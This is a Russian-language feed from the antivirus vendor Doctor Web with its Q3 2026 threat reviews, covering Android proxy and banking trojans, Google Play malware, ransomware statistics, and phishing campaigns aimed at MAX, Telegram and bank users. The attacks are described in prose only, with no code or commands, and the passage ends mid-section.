Все новости

«Доктор Веб»: обзор вирусной активности для мобильных устройств в III квартале 2026 года

Thu, 01 Oct 2026 12:00:00 GMT

1 октября 2026 года

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, в III квартале 2026 года наблюдался всплеск активности троянских приложений Android.Proxy, позволяющих киберпреступникам перенаправлять сетевой трафик через устройства жертв и анонимизировать свое интернет-подключение. Рост главным образом произошел за счет троянов Android.Proxy.60.origin и Android.Proxy.61.origin, на долю которых суммарно пришлось более 22% всех детектирований вредоносного ПО. Они добавляют зараженные устройства к прокси-ботнетам и превращают каждое из них в выходной узел соответствующей прокси-сети.

По сравнению со II кварталом, число атак со стороны банковских троянов Android.Banker несколько возросло, и эти вредоносные приложения с долей 18,06% расположились на втором месте. Как и ранее, самыми активными среди них были представители подсемейства Android.Banker.Mamont, способные среди прочего перехватывать содержимое СМС и уведомлений с целью кражи одноразовых кодов подтверждения банковских операций.

В то же время пользователи стали реже сталкиваться с рекламными троянами семейств Android.MobiDash и Android.HiddenAds. Число их детектирований за последние 3 месяца вновь сократилось — на 30,96% и 14,36% соответственно, а их общая доля среди выявленного вредоносного ПО на данный момент не превышает 10%.

Среди потенциально опасного ПО лидерами остаются программы, в которые при помощи хакерских инструментов для моддинга NP Manager добавлен мусорный код, запутывающий логику приложений. Вирусописатели используют этот прием для защиты вредоносного ПО от антивирусов. Например, он активно применяется при защите банковских троянов Android.Banker.Mamont. В III квартале на такие модификации (детектируются как Tool.Obfuscator.TrashCode) пришлось 69,01% детектирований потенциально опасных приложений.

Второе место вновь заняли программы, которые модифицируются с использованием других функциональных возможностей NP Manager. Например, злоумышленники могут обфусцировать код троянов для защиты их от обнаружения и анализа. Доля подобных модов (они детектируются как Tool.NPMod) составила 19,16% от общего числа детектирований потенциально опасного ПО. Замыкают тройку лидеров программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Эта утилита загружает из интернета специально подготовленные скрипты, которые могут представлять потенциальную опасность, поскольку их могут создавать все желающие, включая вирусописателей. На модифицированные таким образом программы пришлось 5,77% детектирований.

Самыми распространенными нежелательными приложениями в III квартале остались Program.FakeAntiVirus — программы, имитирующие работу антивирусов. Они сообщают пользователям, что обнаружили те или иные угрозы, и для «лечения» заражения предлагают приобрести полную версию. Доля такого ПО среди общего числа детектирований нежелательных программ по сравнению с прошлым периодом наблюдения выросла с 44,10% до 51,09%.

Наиболее распространенным рекламным ПО стали модули Adware.AdPush, встраиваемые в Android-приложения. В III квартале на них пришлось 39,46% детектирований угроз данного типа. Эти модули демонстрируют рекламные уведомления, которые вводят пользователей в заблуждение. Они также собирают ряд конфиденциальных данных.

В течение последних 3 месяцев наблюдался рост активности рекламных модулей Adware.Airpush — их доля возросла с 7,39% до 10,34%. Наиболее заметными среди них остаются модификации Adware.Airpush.7.origin. Модули Adware.Airpush могут демонстрировать рекламные уведомления, баннеры и всплывающие окна, при этом киберпреступники используют их и для распространения вредоносных программ.

Пользователи продолжили сталкиваться с рекламными программами Adware.Opensite.15, однако их активность по сравнению со II кварталом снизилась: их доля упала с 14,26% до 7,90%. Эти приложения распространяются под видом программ с читами для получения различных ресурсов в играх, но они лишь загружают сайты с рекламой. Менее заметными стали и одни из лидеров последних месяцев — приложения Adware.Bastion.1.origin. На них пришлось 5,73% детектирований рекламного ПО. Они создают уведомления с вводящими в заблуждение сообщениями, которые предупреждают о якобы возникающих ошибках системы и нехватке оперативной памяти. А во время «оптимизации» они демонстрируют рекламу.

В течение III квартала специалисты антивирусной лаборатории компании «Доктор Веб» выявили в каталоге Google Play множество новых вредоносных приложений, включая десятки троянов Android.Joker, которые подписывают пользователей на платные мобильные услуги. При этом в процессе анализа троянов наши эксперты обнаружили, что вирусописатели расширили функциональность семейства. Некоторые модификации Android.Joker теперь способны не только оформлять подписки, но и превращать зараженные устройства в выходные узлы прокси-ботнета. В Google Play также распространялись очередные программы-подделки из семейства Android.FakeApp, которые используются в различных мошеннических схемах.

ГЛАВНЫЕ ТЕНДЕНЦИИ III КВАРТАЛА

Пользователи столкнулись с высокой активностью вредоносных программ Android.Proxy, с помощью которых злоумышленники могут перенаправлять сетевой трафик через устройства жертв.
Наблюдался рост числа атак банковских троянов Android.Banker.
Продолжилось снижение активности рекламных троянов Android.MobiDash и Android.HiddenAds.
В каталоге Google Play были обнаружены десятки вредоносных программ.
Троянские приложения Android.Joker получили функциональность, позволяющую превращать зараженные устройства в выходные узлы прокси-ботнета.

По данным Dr.Web Security Space для мобильных устройств

Android.Proxy.60.origin
Android.Proxy.61.origin: Вредоносные программы, которые превращают зараженные устройства в выходные узлы прокси-ботнетов и позволяют злоумышленникам перенаправлять через них сетевой трафик.
Android.SpyMax.17: Вредоносная программа-шпион, обладающая широкой функциональностью. Киберпреступники используют ее в том числе как банковский троян для перехвата СМС с проверочными кодами, поступающими от кредитных организаций.
Android.HiddenAds.4236: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и в некоторых случаях устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Banker.Mamont.263.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.5.origin
Program.FakeAntiVirus.5: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие приложения могут вводить пользователей в заблуждение и сообщать о несуществующих угрозах, либо ошибочно идентифицировать безопасные приложения как вредоносные. В некоторых случаях для «лечения» якобы обнаруженных угроз они могут требовать приобрести полную версию ПО.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.
Program.CloudInject.1: Детектирование Android-приложений, модифицированных при помощи облачного сервиса CloudInject и одноименной Android-утилиты (добавлена в вирусную базу Dr.Web как Tool.CloudInject). Такие программы модифицируются на удаленном сервере, при этом заинтересованный в их изменении пользователь (моддер) не контролирует, что именно будет в них встроено. Кроме того, приложения получают набор опасных разрешений. После модификации программ у моддера появляется возможность дистанционно управлять ими: блокировать, показывать настраиваемые диалоги, отслеживать факт установки и удаления другого ПО и т. д.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.AdPush.3.origin
Adware.Adpush.21846: Рекламные модули, которые могут быть интегрированы в Android-программы. Они демонстрируют рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, эти модули собирают ряд конфиденциальных данных, а также способны загружать другие приложения и инициировать их установку.
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.
Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».

Угрозы в Google Play

В III квартале 2026 года специалисты антивирусной лаборатории «Доктор Веб» обнаружили свыше 50 вредоносных приложений в каталоге Google Play. Большинство из них относилось к семейству троянских программ Android.Joker, которые скрытно оформляют подписку на платные мобильные услуги. Для этого они похищают одноразовые коды подтверждения, перехватывая СМС и содержимое уведомлений. Вирусописатели распространяли трояны под видом разнообразного ПО, включая мессенджеры, утилиты для оптимизации работы устройств, программы-фотокамеры, инструменты для распознавания текста и мультимедийные плееры для онлайн-просмотра фильмов и сериалов.

Примеры приложений из Google Play, которые скрывали в себе трояны Android.Joker: Special Camera — Android.Joker.2679, Color Messages — Android.Joker.2682

При изучении новых образцов Android.Joker наши эксперты обнаружили, что в некоторые из них была добавлена функциональность, позволяющая превращать зараженные устройства в выходные узлы прокси-ботнета. Злоумышленники могут использовать эту функциональность для продажи услуг по выходу в интернет через сеть жертв.

Анализ показал, что один из управляющих серверов ботнета не был защищен авторизацией. Благодаря этому вирусные аналитики «Доктор Веб» смогли получить из панели управления информацию о статистике его работы, а также о том, в какие приложения внедрены вредоносные модули Android.Joker. По данным на конец августа обновленными троянами семейства было заражено свыше 187 000 устройств, а число активных арендаторов нелегальной прокси-сети достигало 93.

Веб-панель управления прокси-ботнетом на базе устройств, зараженных некоторыми модификациями Android.Joker

Другими выявленными угрозами стали новые варианты троянских программ Android.FakeApp, которые могут загружать различные сайты, в том числе вредоносные и мошеннические. Они распространялись под видом программ для управления финансами и планирования семейного бюджета, приложений-органайзеров для ведения заметок, программ для поиска работы, а также различных игр. Большинство троянов с целью маскировки действительно предоставляло заявленную функциональность, однако при определенных условиях вместо этого вредоносные программы загружали мошеннические веб-сайты.

Примеры вредоносных программ-подделок Android.FakeApp, которые наши специалисты нашли в Google Play в III квартале 2026 года

Например, Android.FakeApp.2022 загружал сайт, где демонстрировался список «актуальных вакансий» с высокой заработной платой и привлекательными условиями труда. При этом в оформлении мошеннического интернет-ресурса использовался логотип, оформленный в стиле и цветах официального логотипа российского портала «Госуслуги».

Одна из вакансий, якобы доступная потенциальной жертве

Пользователям предлагалось подробнее ознакомиться с интересующими вакансиями. Для этого от них требовалось оставить заявку, после чего те якобы могли «начать зарабатывать уже сегодня». Злоумышленники запрашивали конфиденциальную информацию, включая имя и фамилию, возраст, гражданство и номер мобильного телефона, а также предлагали выбрать удобное время для приема звонка от «специалиста».

Загруженный трояном веб-сайт собирает персональные данные, которые мошенники в дальнейшем могут использовать для обмана своих жертв

Для защиты Android-устройств от вредоносных и нежелательных программ пользователям следует установить антивирусные продукты Dr.Web для Android.

Индикаторы компрометации

«Доктор Веб»: обзор вирусной активности в III квартале 2026 года

Thu, 01 Oct 2026 03:00:00 GMT

Скачать PDF

1 октября 2026 года

По данным статистики детектирований антивируса Dr.Web, в III квартале 2026 года пользователи сталкивались с угрозами на 14,86% реже, чем во II квартале. Число уникальных файлов, применявшихся в атаках, снизилось на 49,26%. При этом по сравнению с прошлым периодом наблюдения среди выявленных угроз оказалось на 63,39% меньше уникальных имен. Чаще всего на защищаемых устройствах обнаруживались рекламные программы и рекламные трояны, вредоносные приложения, похищающие пароли и другую конфиденциальную информацию, а также дропперы и загрузчики, устанавливающие в целевую систему различные угрозы. Кроме того, по-прежнему активными были трояны, которые применяются для автоматического запуска других вредоносных приложений.

Число запросов на расшифровку, поступивших в Службу технической поддержки «Доктор Веб», по сравнению со II кварталом увеличилось на 5,85%. Обращения преимущественно были связаны с энкодерами Trojan.Encoder.35534, Trojan.Encoder.41868 и Trojan.Encoder.44474.

В почтовом трафике чаще всего детектировались вредоносные скрипты, большую часть которых составляли загрузчики и дропперы, устанавливающие другие угрозы в атакуемую систему. Кроме того, через электронные письма распространялись фишинговые документы, эксплойты и различные троянские приложения. Среди последних, как и в случае с вредоносными скриптами, самая высокая активность наблюдалась со стороны дропперов и загрузчиков.

В III квартале интернет-аналитики компании «Доктор Веб» продолжили наблюдать рост интереса мошенников к пользователям российского мессенджера MAX. Наши специалисты выявили множество новых фишинговых сайтов, созданных с целью кражи учетных записей от этой платформы. В то же время злоумышленники по-прежнему сохраняют интерес к получению доступа к аккаунтам от других мессенджеров, включая Telegram. Пользователи также сталкивались и с другими фишинговыми сайтами, среди которых были очередные поддельные интернет-ресурсы банков.

В июле антивирусная лаборатория «Доктор Веб» предупредила о трояне, атакующем разработчиков ПО. Он заражает проекты на языках программирования C++ и C#, в результате чего компилируемые приложения также становятся зараженными и участвуют в дальнейшем распространении угрозы. Кроме того, если инфицированные проекты размещаются в открытом доступе, другие разработчики после их скачивания и использования тоже компрометируют свои системы и все создаваемые программы. Этот троян реализует сразу несколько вредоносных функций: он действует как стилер данных, майнер криптовалюты, бэкдор, а также клиппер, крадущий информацию из буфера обмена.

Пользователи Android в течение последних 3 месяцев наиболее часто сталкивались с вредоносными программами Android.Proxy, которые позволяют перенаправлять трафик злоумышленников через зараженные устройства. Кроме того, отмечался рост активности банковских троянов Android.Banker. Среди лидеров по числу детектирований остаются Android-программы, модифицированные с помощью хакерских инструментов. Вирусописатели используют их для защиты вредоносных приложений от обнаружения и анализа.

В течение III квартала вирусные аналитики «Доктор Веб» обнаружили десятки троянских программ в каталоге Google Play. Среди них было множество троянов Android.Joker, подписывающих жертв на платные услуги. При этом наши эксперты выяснили, что в некоторые новые модификации этих вредоносных программ добавлена функциональность, позволяющая превращать зараженные устройства в выходные узлы прокси-ботнета.

Главные тенденции III квартала

Пользователи реже сталкивались с различными угрозами.
Снизилось число уникальных файлов, задействованных в атаках.
Среди детектируемых угроз было меньше уникальных имен.
Количество запросов на расшифровку файлов, затронутых вредоносными программами-шифровальщиками, по сравнению со II кварталом увеличилось.
Интернет-мошенники продолжили активно атаковать пользователей российского мессенджера MAX с целью получить доступ к их учетным записям.
Вирусные аналитики «Доктор Веб» обнаружили опасного многофункционального трояна, который нацелен на разработчиков ПО и для своего распространения заражает проекты на языках программирования C++ и C#.
Самыми распространенными Android-угрозами стали трояны из семейства Android.Proxy, позволяющие перенаправлять сетевой трафик злоумышленников через зараженные устройства.
В каталоге Google Play были обнаружены новые вредоносные приложения.

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы III квартала 2026 года

Adware.Downware.20091: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Trojan.PWS.Salat.390: Троянская программа, похищающая пароли от различных сервисов, а также другую конфиденциальную информацию.
Adware.Ubar.20: Торрент-клиент, устанавливающий нежелательное ПО на устройство.
Adware.Proxy.32: Программа, которая превращает целевой компьютер в выходной узел прокси-сети и позволяет перенаправлять через устройство сторонний трафик.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы III квартала 2026 года в почтовом трафике

X97M.DownLoader.2343: XLSX-файл (формат электронных таблиц Microsoft Excel) с OLE-объектом, скачивающим вредоносный файл на атакуемый компьютер.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
JS.DownLoader.9376: Вредоносный скрипт в формате JavaScript, который скачивает в целевую систему другое вредоносное ПО.
VBS.Starter.541: Вредоносный скрипт в формате Visual Basic Script. Предназначен для запуска различных вредоносных приложений на целевых компьютерах.
JS.Muldrop.1417: Вредоносный скрипт в формате JavaScript, который запускает в целевой системе скрытое в нем ВПО.

Шифровальщики

По сравнению со II кварталом, число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, возросло на 5,82%.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Обращения пользователей чаще всего были связаны с активностью следующих энкодеров:

Trojan.Encoder.35534 — 13,98% обращений
Trojan.Encoder.41868 — 3,76% обращений
Trojan.Encoder.44474 — 3,23% обращений
Trojan.Encoder.30356 — 2,69% обращений
Trojan.Encoder.44383 — 2,15% обращений

Сетевое мошенничество

В III квартале 2026 года продолжился рост интереса мошенников к пользователям российского мессенджера MAX, который интернет-аналитики компании «Доктор Веб» отметили еще в предыдущем квартале. В течение последних трех месяцев наши специалисты выявили большую группу нежелательных сайтов с похожим стилем оформления, созданных злоумышленниками для кражи учетных записей мессенджера. На этих сайтах потенциальные жертвы якобы могли получить доступ к разнообразным сервисам и услугам. Для этого под различными предлогами у них запрашивался номер мобильного телефона и поступающий на него проверочный код. В ряде случаев пользователям прямо говорилось, что для получения желаемого им необходимо войти в свою учетную запись MAX. В других авторизация вовсе не упоминалась, а номер телефона и код подтверждения якобы требовались лишь для проверки того, что посетители не являются ботами. Однако независимо от заявленной причины, если пользователи попадались на уловку и предоставляли соответствующие данные, итог был одним: мошенники получали доступ к их аккаунтам. При этом на таких сайтах нередко встречались орфографические, грамматические и пунктуационные ошибки.

Одним из прикрытий для атакующих стало возобновление работы игровой платформы Roblox на территории России в начале лета. Она популярна среди детей и подростков — аудитории, которая традиционно более уязвима к киберугрозам и потому является привлекательной целью для злоумышленников.

В одном из сценариев потенциальным жертвам «в честь разблокировки» Roblox предлагались в подарок бесплатные монеты Robux («Робуксы») — это внутриигровая цифровая валюта сервиса. В зависимости от сайта мошенники обещали от 1 до 30 тыс. монет:

Чтобы «получить» их, пользователи должны были нажать соответствующую кнопку (например, «Забрать» или «Получить»), указать номер телефона для «подтверждения», после чего ввести проверочный код, поступивший в СМС или непосредственно в мессенджере MAX:

В других вариантах посетителям предлагались различные скрипты и читы для Roblox, редкие игровые предметы, а также «тапалки» (от англ. tap — «постукивать») — простые игры-кликеры и приложения, где при помощи нажатий на экране накапливаются виртуальные ресурсы (очки, бонусы, монеты), которые затем якобы можно перевести в ту или иную игру. Для «доступа» к ним потенциальные жертвы аналогичным образом должны были нажать нужную кнопку («Скачать», «Подтвердить» и т. д.) и предоставить для «подтверждения» телефонный номер:

Киберпреступники эксплуатировали образ еще одной популярной среди молодежной аудитории игры — Brawl Stars. Как и в случае с Roblox, на мошеннических сайтах потенциальным жертвам предлагались бесплатные внутриигровые предметы и бонусы. Пользователи MAX якобы могли получить их, отсканировав специальный QR-код:

Для «получения» соответствующего QR-кода от них требовалось «пройти проверку через MAX», указав для этого номер мобильного телефона и код, поступивший в СМС или в мессенджере:

Кроме того, на некоторых из этих фишинговых сайтов злоумышленники обещали различные подарки якобы от имени как самой игры, так и ее разработчиков — например, бесплатные ящики с наградами:

Мошенники обещают подарки от Brawl Stars и SUPERCELL, такие как бесплатные ящики с игровыми предметами (например, ящики персонажа Болт). Пользователей просят нажать кнопку подтверждения и указать номер мобильного телефона с проверочным кодом

Помимо получения различных бонусов и подарков для популярных игр, киберпреступники пытались привлечь потенциальных жертв и другими предложениями. Среди них — якобы услуги продвижения в социальных сетях — например, в Likee. Мошенники обещали «накрутку» числа подписчиков, лайков и комментариев, но для этого пользователи якобы должны были авторизоваться с помощью мессенджера MAX:

Фишинговый сайт обещает продвижение в сети Likee, но для этого якобы необходима авторизация через мессенджер MAX

Ряд этих сайтов предлагал посетителям установить специализированные моды (модифицированные версии) MAX, которые, как утверждалось, позволяют закреплять музыкальные композиции в профиле мессенджера. Для «получения» такого мода пользователи должны были авторизоваться по номеру мобильного телефона и войти в личный аккаунт. Стоит отметить, что возможность добавлять музыку в профиль сейчас отсутствует в официальной версии MAX, но она есть в ряде других конкурирующих сервисов. Расчет мошенников идет на то, что потенциальные жертвы в погоне за привлекательной функциональностью ослабят бдительность и попадутся на уловку.

Мошеннический сайт предлагает «возможность ставить треки в профиль MAX»

Встречались и другие сценарии обмана. Например, некоторые интернет-ресурсы предлагали доступ к «Единой базе СВО», якобы позволяющей находить информацию о гражданах, принимавших участие в СВО. Однако поиск этих данных, как было указано на сайтах, якобы возможен только авторизованным пользователям:

В еще одном сценарии пользователям предлагался доступ к электронному классному журналу для проверки школьных оценок:

Другие сайты якобы позволяли использовать веб-версию мессенджера MAX и предлагали авторизоваться по номеру телефона, чтобы «перейти в профиль»:

Некоторые из этих мошеннических онлайн-ресурсов обещали помочь определить, под каким именем потенциальная жертва записана в списке контактов других пользователей. Для этого посетителям предлагалось «подтвердить свою личность», авторизовавшись в MAX:

Ряд сайтов обещал бесплатный доступ к закрытым материалам блогеров и создателей контента категории для взрослых, включая просмотр «утекших» медиаархивов и возможность получить пробную подписку в специализированных сервисах. При этом требование мошенниками авторизации через мессенджер MAX с указанием кода подтверждения объяснялось в том числе необходимостью «защиты от ботов и блокировок»:

В то же время в рамках данной кампании под прицелом оказалась не только аудитория MAX, но и других мессенджеров, включая Telegram. Так, некоторые из выявленных сайтов имитировали чат с официальным аккаунтом мессенджера и якобы от лица платформы предлагали потенциальным жертвам подарок — подписку Telegram Premium:

Для ее «получения» пользователи должны были авторизоваться в своей учетной записи, указав номер мобильного телефона и поступивший на него одноразовый проверочный код:

В похожем сценарии потенциальным жертвам злоумышленники обещали возможность бесплатно получить виртуальные подарки экосистемы Telegram из различных коллекций, таких как Toy Bear (плюшевый мишка), Snoop Dogg и других. Для этого мошенники просили пользователей «пройти проверку» (например, что те не являются роботами, и чтобы каждый посетитель якобы получил подарок лишь один раз), указав для этого номер мобильного телефона и код подтверждения. Не исключено, что данные варианты мошеннических сайтов, как и в случае с игровой тематикой, в первую очередь были ориентированы на детей и подростков:

Киберпреступники также пытались привлечь потенциальных жертв возможностью получить звезды Telegram (внутреннюю цифровую валюту мессенджера) за «подписку» на те или иные каналы в мессенджере. В данном случае от пользователей вновь требовалось войти в свою учетную запись Telegram и предоставить код проверки:

В III квартале 2026 года эксперты «Доктор Веб» наблюдали дальнейшее развитие мошеннических схем, нацеленных на кражу персональных данных и учетных записей в различных сервисах. Одним из распространенных сценариев в арсенале мошенников остается информирование о якобы произошедшей компрометации аккаунтов. Обычно злоумышленники сразу ставят потенциальных жертв перед фактом «утечки» данных и необходимостью предпринять срочные меры по защите конфиденциальной информации (например, перейти по указанной ссылке, позвонить в «поддержку» и т. д.). Однако в ряде выявленных нашими интернет-аналитиками случаев на фишинговых сайтах запугивание «случившимся» взломом целенаправленно происходило постепенно. Шаг за шагом пользователя заставляют нервничать все больше и больше, чтобы тот в итоге утратил бдительность и выполнил необходимые злоумышленникам действия. Среди сайтов с подобной схемой обмана были, например, очередные подделки интернет-порталов поставщиков коммунальных услуг.

Фишинговый сайт, замаскированный под официальный веб-ресурс российской электросетевой компании, предлагает войти в учетную запись

После того как потенциальная жертва, полагая, что она находится на настоящем сайте, вводит данные для входа в учетную запись, мошеннический ресурс имитирует процесс авторизации через «Госуслуги» и «синхронизацию» с базами данных различных государственных ведомств:

Сайт создает видимость авторизации через «Госуслуги» и синхронизации с «ведомственными базами данных»

Однако далее сайт сообщает, что учетная запись «Госуслуг» пользователя взломана. Для убедительности он информирует о некоем устройстве, с которого якобы выполнялся вход на «Госуслуги», а также указывает отдаленное географическое расположение места, откуда «произошло» несанкционированное подключение. Сайт также предупреждает, что если эти действия выполнялись не самим пользователем, его аккаунт будет заблокирован. Для «отмены синхронизации» чужого устройства и предотвращения утечки персональной информации от потенциальной жертвы «требуется немедленно связаться с оператором»:

Для «отмены» привязки чужого устройства к аккаунту «Госуслуг» и якобы защиты персональных данных, включая сведения о паспорте, СНИЛС и ИНН, пользователю предлагается связаться с «оператором»

После того как пользователь нажимает кнопку «запроса звонка», сайт тянет время, демонстрируя таймер обратного отсчета на одну или несколько минут и сообщение, что запрос обрабатывается:

Сайт информирует, что запрос обрабатывается, и «дежурный оператор» свяжется с пользователем в течение указанного времени

По окончании таймера ничего, что могло бы помочь прояснить ситуацию, не происходит. Вместо этого на мошеннической веб-странице появляются кнопки для повторного «запроса», а также для самостоятельной связи с «дежурным оператором»:

Сайт предлагает повторно запросить звонок специалиста, либо позвонить «дежурному оператору» напрямую

При нажатии первой кнопки таймер «ожидания запроса» появляется вновь, и процесс повторяется. При нажатии второй кнопки демонстрируются номера телефонов «выделенной линии поддержки», которые на самом деле принадлежат мошенникам. Цель этой схемы состоит в том, чтобы потенциальная жертва после вынужденного ожидания сильнее запаниковала и с большей вероятностью позвонила по одному из указанных номеров, опасаясь возможной утечки персональных данных и потери доступа к «Госуслугам». Кроме того, злоумышленники убивают двух зайцев, непосредственно похищая и данные, необходимые для входа в личный кабинет пользователя на сайте поставщика коммунальных услуг.

Для ускорения решения «проблемы» потенциальной жертве предлагаются телефонные номера «выделенной линии поддержки»

Интернет-аналитики «Доктор Веб» в течение последних трех месяцев продолжили выявлять новые мошеннические сайты, обещающие различные выплаты и пособия. Некоторые из них киберпреступники выдавали за официальный сайт российской государственной платформы «Работа в России» (trudvsem.ru), где размещаются вакансии и резюме и которая помогает в трудоустройстве. Поддельные интернет-ресурсы информировали о том, что граждане, ранее регистрировавшиеся на официальном портале, якобы могут получить дополнительную выплату от Центра занятости населения. При этом размер обещанной выплаты в некоторых случаях мог достигать десятков тысяч рублей.

Для «получения» денег пользователям предлагалось оформить отдельную банковскую карту платежной системы «МИР», куда в дальнейшем якобы поступит «пособие». После этого от них также требовалось ее активировать, совершив какую-либо покупку. Для оформления карты мошеннические сайты предоставляли форму для ввода персональных данных: имени, фамилии и отчества, номера телефона и адреса электронной почты:

Поддельный сайт платформы «Работа в России» обещает «дополнительную выплату от Центра занятости» при условии оформления новой банковской карты

После заполнения формы и нажатия кнопки «Оформить карту «МИР» посетители перенаправлялись на легитимный веб-сайт одного из банков, где им действительно предоставлялась возможность заказать выпуск новой карты. Однако подобные заявки на самом деле никак не были связаны с получением обещанного мошенниками пособия. Злоумышленники обманом побуждали потенциальных жертв оформлять банковские карты, чтобы в рамках партнерской программы с кредитными организациями получать вознаграждение за каждое успешное привлечение клиентов. Никаких выплат от Центра занятости пользователи в итоге не получали. Более того, персональные данные, собранные через поддельные сайты платформы «Работа в России», киберпреступники могли в дальнейшем применять в других мошеннических схемах или продавать на черном рынке.

Конфиденциальные данные для доступа к учетным записям онлайн-банка, включая логины, пароли и реквизиты карт, остаются желанной целью для киберпреступников. В III квартале наши эксперты зафиксировали новые фишинговые сайты, созданные с целью кражи такой информации. Некоторые из них имитировали интернет-портал одной из российских кредитных организаций и обещали подарки в рамках «масштабной акции к юбилею» компании. Пользователи якобы могли получить гарантированный бонус — от 5 тыс. рублей до удвоения всех средств на счете:

Поддельный сайт банка обещает подарки в честь юбилея кредитной организации

Потенциальной жертве предлагалось пройти небольшой опрос. После ответов на вопросы ей якобы становился доступен «гарантированный приз»:

Фишинговый сайт благодарит пользователя за ответы и сообщает, что его аккаунт «готов к участию в акции». Для того чтобы «узнать гарантированный приз», потенциальной жертве предлагается нажать кнопку «Получить вознаграждение» (на приведенном скриншоте видно, что мошенники допустили опечатку)

После того как пользователь нажимал кнопку «получения» награды, сайт демонстрировал форму для ввода имени и фамилии, номера мобильного телефона и номера банковской карты:

Сайт информирует, что пользователь якобы получил в подарок удвоение средств на счете, и для «получения» денег требуется ввести определенные персональные данные

После ввода данных сайт запрашивал проверочный код из СМС, необходимый «для зачисления средств на счет». На самом деле это был код подтверждения входа в интернет-банк жертвы, который мошенники выполняли с использованием данных, полученных на предыдущем шаге. Если жертва вводила этот код, злоумышленники получали доступ к ее банковским счетам и картам и могли украсть деньги.

Пользователя просят указать проверочный код из СМС «для зачисления средств на счет»

Актуальной угрозой остаются поддельные платформы для онлайн-общения и знакомств, с помощью которых злоумышленники стремятся заполучить персональные данные и деньги пользователей. В течение III квартала интернет-аналитики «Доктор Веб» выявили множество подобных сайтов. В одной из распространенных схем мошенники обманом побуждают потенциальных жертв оплатить премиум-подписку, которая якобы активирует аккаунт и открывает доступ к полной функциональности сервиса, включая возможность отправлять сообщения. При этом требуемый платеж — не разовый: обязательным условием «доступа» к чатам является согласие на автоматическое продление услуги. Добиваясь согласия на регулярный платеж, злоумышленники рассчитывают, что жертвы забудут о подключенной подписке, либо по той или иной причине не смогут ее отменить.

В рамках мошеннической схемы потенциальные жертвы через цепочку веб-перенаправлений (например, при посещении других интернет-ресурсов) могут оказаться на промежуточных сайтах, которые рекламируют тот или иной сервис онлайн-знакомств. Посетителям предлагается пройти опрос для определения «совместимости» с потенциальными партнерами, после чего предоставляется форма регистрации. В ней запрашиваются имя пользователя, пароль и адрес электронной почты. Затем происходит перенаправление непосредственно на сайт «платформы» онлайн-знакомств.

Сайт из мошеннической цепочки «проверяет» потенциальную жертву на совместимость с другими пользователями

Практически сразу пользователи начинают получать от «заинтересованных» участников сообщения, которые на самом деле запрограммированы и не исходят от реальных людей. В то же время ответить на эти сообщения нельзя — для «продолжения общения» сайт предлагает активировать аккаунт, оплатив премиум-доступ и согласившись на автоматическое продление подписки каждые 30 дней:

